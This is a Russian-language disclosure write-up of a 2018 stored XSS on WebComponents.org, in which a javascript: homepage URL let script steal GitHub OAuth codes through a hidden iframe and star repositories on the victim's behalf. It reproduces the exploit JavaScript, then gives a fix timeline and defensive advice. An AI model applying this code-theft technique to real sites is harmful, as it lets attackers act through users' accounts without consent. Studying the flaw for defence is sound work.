Уязвимость Stored XSS, использующая аутентификацию GitHub на WebComponents.org
Уязвимости межсайтового скриптинга (XSS) остаются значительной угрозой безопасности веб-приложений, часто позволяя злоумышленникам захватывать учетные данные пользователей или выполнять несанкционированные действия. Ярким примером является уязвимость Stored XSS, обнаруженная на популярной платформе WebComponents.org, которая позволяла атакующим действовать от имени аутентифицированных пользователей GitHub, эксплуатируя их токены аутентификации.
Введение в уязвимость WebComponents.org
WebComponents.org — это платформа, где разработчики могут публиковать и делиться Polymer-элементами и другими веб-компонентами. В августе 2018 года была выявлена уязвимость безопасности, при которой злоумышленник мог внедрить вредоносный JavaScript-код, неправильно используя поле homepage URL элемента. Эта ошибка позволяла проводить Stored XSS-атаки, подвергая риску пользователей, ранее аутентифицированных через GitHub на сайте.
Понимание Stored XSS и рисков OAuth-аутентификации
Stored XSS возникает, когда вредоносные скрипты постоянно сохраняются в данных целевого приложения и отображаются другим пользователям. В отличие от отраженного XSS, stored XSS представляет более высокий риск из-за постоянного заражения.
Уязвимость эксплуатировала интеграцию GitHub OAuth-аутентификации. Если пользователь аутентифицировался на WebComponents.org через свой аккаунт GitHub, злоумышленники могли извлечь код авторизации GitHub, встроенный в перенаправляемые URL, что позволяло выполнять несанкционированные API-действия от имени пользователя.
Как работала атака: шаг за шагом
- Публикация вредоносного Polymer-элемента: Злоумышленник опубликовал Polymer-элемент на GitHub и установил в его поле homepage URL значение с
javascript:URL, содержащий вредоносный код (например,javascript:alert(document.domain)). - Публикация через WebComponents.org: Затем этот элемент был опубликован с помощью инструмента публикации WebComponents.org.
- Выполнение Stored XSS: Когда пользователи посещали страницу элемента на WebComponents.org и нажимали ссылку homepage, внедренный JavaScript выполнялся в контексте WebComponents.org.
- Перехват кода OAuth GitHub: Вредоносный скрипт создавал скрытый iframe, загружающий URL авторизации GitHub OAuth, указывающий обратно на WebComponents.org. Поскольку iframe имел одинаковый источник, скрипт злоумышленника получал доступ к перенаправленному URL с параметром GitHub
code. - Автоматизированные несанкционированные действия: Используя украденный код OAuth, злоумышленник отправлял POST-запрос к API WebComponents.org для постановки звездочки любому публичному GitHub-репозиторию от имени аутентифицированного пользователя.
Технические детали и пример эксплойта
Суть эксплойта изложена в этом фрагменте JavaScript (переформатированном для читаемости):
// Создание невидимого iframe для авторизации GitHub OAuth
const iframe = document.createElement('iframe');
iframe.src = 'https://github.com/login/oauth/authorize?client_id=54fc42e15038794b7011&scope=public_repo&redirect_uri=https://www.webcomponents.org/element/ThomasOrlita/test2';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Через некоторое время захватить перенаправленный URL для извлечения кода OAuth
setTimeout(() => {
const url = new URL(iframe.contentWindow.location.href);
const code = url.searchParams.get('code');
// Репозиторий для постановки звезды
const repoToStar = 'kelseyhightower/nocode';
// Использовать код для постановки звезды через API WebComponents.org
fetch(`/api/star/${repoToStar}?code=${code}`, { method: 'POST' });
}, 5000);
Последствия и влияние
Эта уязвимость демонстрирует, как XSS может использовать OAuth-процессы для расширения площади атаки. Путем кражи кода авторизации злоумышленники получают делегированный доступ к аккаунтам GitHub через процесс аутентификации WebComponents.org без необходимости знать пароль пользователя.
- Злоупотребление аккаунтом: Злоумышленники могут ставить звездочки или форкать репозитории, потенциально манипулируя социальным доверием и метриками от имени пользователя.
- Использование доверия: Атака угрожает репутации, поскольку скомпрометированные аккаунты выполняют несанкционированные действия.
- Широкие риски безопасности: Аналогичные атаки могут быть направлены на репозитории с правами записи или администратора при неправильной настройке OAuth-прав доступа.
Хронология и исправления
| Дата | Событие |
|---|---|
| 2018-08-12 | Уязвимость сообщена администраторам WebComponents.org |
| 2018-08-17 | Предоставлены дополнительные технические детали |
| 2018-08-20 | Публичное признание и обзор |
| 2018-08-22 | Выпущено исправление для предотвращения уязвимых homepage URL |
| 2018-08-29 | Выплата вознаграждения по программе bug bounty |
Лучшие практики для предотвращения XSS-атак, связанных с OAuth
Современные веб-приложения должны использовать многоуровневую защиту при интеграции OAuth и аналогичных потоков аутентификации:
- Проверка и очистка входных данных: Предотвращать внедрение вредоносных URL или JavaScript-кода через пользовательский ввод.
- Использование безопасных redirect URI: Применять строгий белый список URI перенаправления OAuth, чтобы избежать контроля злоумышленника за редиректом.
- Реализация политики безопасности контента (CSP): Ограничивать выполнение скриптов и источники iframe авторизованными доменами.
- Использование SameSite cookies: Ограничивать отправку куки между сайтами для снижения риска перехвата сессии.
- Применение параметра state в OAuth: Использовать anti-CSRF токены в OAuth-запросах для предотвращения перехвата кода авторизации.
Широкий контекст: проблемы безопасности OAuth в 2024 году
С ростом использования OAuth для единой аутентификации и делегирования доступа к API крайне важно обеспечить безопасную реализацию. Согласно [Отчету по безопасности OAuth 2023 года от OpenID Foundation](https://openid.net/2023-oauth-security-report/), неправильная настройка и недостаточная очистка входных данных остаются главными причинами злоупотребления OAuth.
Кроме того, исследователи безопасности отмечают увеличение рисков утечек кода авторизации через уязвимости на стороне клиента, такие как XSS. Поэтому крайне важны строгие меры безопасности для OAuth-эндпоинтов, комплексное тестирование и постоянный мониторинг.
Заключение
Уязвимость Stored XSS на WebComponents.org служит наглядным примером сложной взаимосвязи между веб-уязвимостями и рисками аутентификации на основе OAuth. Злоумышленники могут использовать слабости в одной области, чтобы повысить привилегии или манипулировать авторизованными сервисами.
Разработчикам и командам безопасности следует уделять приоритетное внимание надежной проверке входных данных, обеспечивать строгие настройки OAuth-процессов и внедрять комплексные заголовки безопасности для минимизации подобных рисков. Актуализация реализации OAuth в соответствии с лучшими практиками жизненно важна для сохранения доверия пользователей и целостности сервиса.
Дополнительные ресурсы для разработчиков и специалистов по безопасности
- OWASP Top Ten Основных Рисков Безопасности Веб-приложений – Обзор распространенных уязвимостей, включая XSS
- Фреймворк OAuth 2.0 – Официальная документация OAuth
- Рекомендации по безопасности OAuth 2.0 от Google – Практические советы по безопасной интеграции OAuth
- Руководство по Content Security Policy (CSP) – Как предотвращать атаки через инъекцию скриптов
Примечание: Сообщенная уязвимость была ответственно раскрыта и исправлена в 2018 году для защиты пользователей и целостности платформы.